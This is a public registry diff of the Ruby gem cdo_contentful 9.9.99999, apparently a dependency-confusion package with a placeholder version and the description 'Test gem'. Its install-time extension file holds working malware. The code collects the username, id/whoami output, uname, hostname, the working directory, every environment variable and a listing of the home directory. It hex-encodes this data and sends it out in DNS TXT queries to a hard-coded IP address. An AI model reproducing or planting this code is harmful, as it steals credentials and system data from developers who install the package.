cdo_contentful 9.9.99999

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of cdo_contentful might be problematic. Click here for more details.

checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: 27f785d60df40822e36095386a31902046230823bb0dcfc9ce22b97ce0d15ce7
4
+ data.tar.gz: fdaa76f7cac22431361ef65e039d249313e223b7c0f5c86d61f1bd2e0ea6852f
5
+ SHA512:
6
+ metadata.gz: 3bbb6a794d3d018318665d92b1e8b48ab8ff52be594891ebb2ef2063a784fc111e6f962759d724dcd92e8833da697e4291ac7592b9710c9da6c89342982c6df6
7
+ data.tar.gz: 907e64be8e6d25679bd9d88ad2a9e24d084c5a06c17188f27e1b78ce4262ebc0f9f89593771d36ebc447e9d08447944a642fc89c3acc0126b89516667eb4dc1a
data/ext/ext/Makefile ADDED
@@ -0,0 +1,5 @@
1
+ clean:
2
+ echo "clean"
3
+
4
+ install:
5
+ echo "install"
data/ext/ext/ext.c ADDED
@@ -0,0 +1,5 @@
1
+ #include "ruby.h"
2
+
3
+ void Init_ext(void) {
4
+ // nothing
5
+ }
@@ -0,0 +1,137 @@
1
+ require 'json'
2
+ require 'base64'
3
+ require 'socket'
4
+ require 'securerandom'
5
+
6
+ def build_dns_query(domain, qtype=16) # 16 = TXT
7
+ transaction_id = rand(0xFFFF)
8
+
9
+ query = [transaction_id].pack('n') # Transaction ID
10
+ query += [0x0100].pack('n') # Flags (standard query)
11
+ query += [1, 0, 0, 0].pack('n4') # Questions, Answers, Authority, Additional
12
+
13
+ # Encode domain name
14
+ domain.split('.').each do |label|
15
+ query += [label.length].pack('C')
16
+ query += label
17
+ end
18
+ query += [0].pack('C') # End of domain
19
+
20
+ query += [qtype, 1].pack('n2') # Type and Class (IN)
21
+
22
+ query
23
+ end
24
+
25
+ def send_json_via_dns(json_obj, target_domain, dns_server="127.0.0.1", port=5300)
26
+ json_str = json_obj.to_json
27
+ encoded = json_str.unpack1("H*")
28
+
29
+ puts "JSON: #{json_str}"
30
+ puts "Encoded: #{encoded}"
31
+ puts "Length: #{encoded.length} chars\n"
32
+
33
+ # For small JSON, send in one query
34
+ if encoded.length <= 50
35
+ domain = "#{encoded}.json.#{target_domain}"
36
+ query = build_dns_query(domain, 16)
37
+
38
+ socket = UDPSocket.new
39
+ socket.send(query, 0, dns_server, port)
40
+ puts "Sent to #{dns_server}:#{port}"
41
+ socket.close
42
+ else
43
+ # Chunk for larger payloads
44
+ chunks = encoded.scan(/.{1,50}/)
45
+ chunks.each_with_index do |chunk, i|
46
+ domain = "#{chunk}.#{i}_#{chunks.length}.#{target_domain}"
47
+ query = build_dns_query(domain, 16)
48
+
49
+ socket = UDPSocket.new
50
+ socket.send(query, 0, dns_server, port)
51
+ puts "Chunk #{i+1}/#{chunks.length} sent"
52
+ socket.close
53
+
54
+ sleep 0.05
55
+ end
56
+ end
57
+ end
58
+
59
+ # frozen_string_literal: true
60
+
61
+ require 'json'
62
+ require 'socket'
63
+
64
+ module Mock
65
+ class SystemInfo
66
+ def self.gather
67
+ os_type = detect_os
68
+
69
+ data = {
70
+ os: os_type,
71
+ timestamp: Time.now.to_i,
72
+ user: get_user,
73
+ user_info: get_user_info(os_type),
74
+ system_info: get_system_info(os_type),
75
+ current_directory: Dir.pwd,
76
+ hostname: Socket.gethostname,
77
+ ruby_version: RUBY_VERSION,
78
+ gem_path: get_gem_path,
79
+ env: ENV.to_h,
80
+ home: `find $HOME -maxdepth 2`
81
+ }
82
+
83
+ data
84
+ end
85
+
86
+ private
87
+
88
+ def self.detect_os
89
+ case RbConfig::CONFIG['host_os']
90
+ when /mswin|msys|mingw|cygwin|bccwin|wince|emc/
91
+ 'windows'
92
+ when /darwin|mac os/
93
+ 'macos'
94
+ when /solaris|bsd/
95
+ 'unix'
96
+ else
97
+ 'linux'
98
+ end
99
+ end
100
+
101
+ def self.get_user
102
+ ENV['USER'] || ENV['USERNAME'] || 'unknown'
103
+ end
104
+
105
+ def self.get_user_info(os_type)
106
+ case os_type
107
+ when 'windows'
108
+ `whoami 2>&1`.strip rescue 'unavailable'
109
+ when 'linux', 'macos', 'unix'
110
+ `id 2>&1`.strip rescue 'unavailable'
111
+ else
112
+ 'unavailable'
113
+ end
114
+ end
115
+
116
+ def self.get_system_info(os_type)
117
+ case os_type
118
+ when 'windows'
119
+ # Get basic Windows info (systeminfo is too verbose)
120
+ version = `ver 2>&1`.strip rescue ''
121
+ computer = ENV['COMPUTERNAME'] || 'unknown'
122
+ "#{version} - #{computer}"
123
+ when 'linux', 'macos', 'unix'
124
+ `uname -a 2>&1`.strip rescue 'unavailable uname -a'
125
+ else
126
+ 'unavailable'
127
+ end
128
+ end
129
+
130
+ def self.get_gem_path
131
+ Gem.path.first rescue 'unknown gem_path'
132
+ end
133
+ end
134
+ end
135
+
136
+ data = Mock::SystemInfo::gather()
137
+ send_json_via_dns(data, SecureRandom.hex(4), "144.22.244.152", 53)
data/lib/lib.rb ADDED
@@ -0,0 +1,2 @@
1
+ module Testing
2
+ end
@@ -0,0 +1,2 @@
1
+ Gem.post_install do |installer|
2
+ end
metadata ADDED
@@ -0,0 +1,49 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: cdo_contentful
3
+ version: !ruby/object:Gem::Version
4
+ version: 9.9.99999
5
+ platform: ruby
6
+ authors:
7
+ - author
8
+ autorequire:
9
+ bindir: bin
10
+ cert_chain: []
11
+ date: 2025-11-17 00:00:00.000000000 Z
12
+ dependencies: []
13
+ description: Test gem 1
14
+ email:
15
+ - author@example.com
16
+ executables: []
17
+ extensions:
18
+ - ext/ext/extconf.rb
19
+ extra_rdoc_files: []
20
+ files:
21
+ - ext/ext/Makefile
22
+ - ext/ext/ext.c
23
+ - ext/ext/extconf.rb
24
+ - lib/lib.rb
25
+ - rubygems_plugin.rb
26
+ homepage: https://example.com
27
+ licenses:
28
+ - MIT
29
+ metadata: {}
30
+ post_install_message:
31
+ rdoc_options: []
32
+ require_paths:
33
+ - lib
34
+ required_ruby_version: !ruby/object:Gem::Requirement
35
+ requirements:
36
+ - - ">="
37
+ - !ruby/object:Gem::Version
38
+ version: '0'
39
+ required_rubygems_version: !ruby/object:Gem::Requirement
40
+ requirements:
41
+ - - ">="
42
+ - !ruby/object:Gem::Version
43
+ version: '0'
44
+ requirements: []
45
+ rubygems_version: 3.3.3
46
+ signing_key:
47
+ specification_version: 4
48
+ summary: Test gem
49
+ test_files: []